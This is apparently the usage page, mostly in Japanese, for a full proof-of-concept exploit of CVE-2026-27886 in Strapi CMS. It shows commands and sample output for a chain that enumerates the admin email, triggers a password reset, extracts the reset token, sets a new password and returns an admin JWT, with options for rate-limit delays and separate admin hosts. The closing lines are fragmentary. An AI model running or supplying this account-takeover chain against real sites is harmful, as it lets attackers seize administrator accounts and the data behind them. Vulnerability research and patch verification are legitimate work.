
Account takeover full PoC for CVE-2026-27886 in Strapi CMS
4つのHTTPリクエストグループで完全なアカウント乗っ取りチェーンを自動化します:
悪用せずにターゲットが脆弱かどうかを確認します:
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
管理者メールが分からない場合にすべてを自動化します:
./cve-2026-27886-exploit.py https://target/api/articles
出力:
[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
[+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
[email protected]
[*] Triggering password reset for [email protected]...
[+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
[+] Password reset successful!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] User: [email protected] (ID: 1)
[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
管理者メールを既に知っている場合(約500リクエストを節約):
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
デフォルトの代わりにカスタムパスワードを設定します:
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
ターゲットにレート制限がある場合:
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
これにより、各リクエスト間に100ミリ秒の遅延が追加されます(完全なエクスプロイトには約2〜3分かかります)。
/admin/* エンドポイントが別のホストにある場合:
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products、https://target/api/articles などupdated_by_id 外部キーがない)--delay 0.05 以上を追加するこのスクリプトは: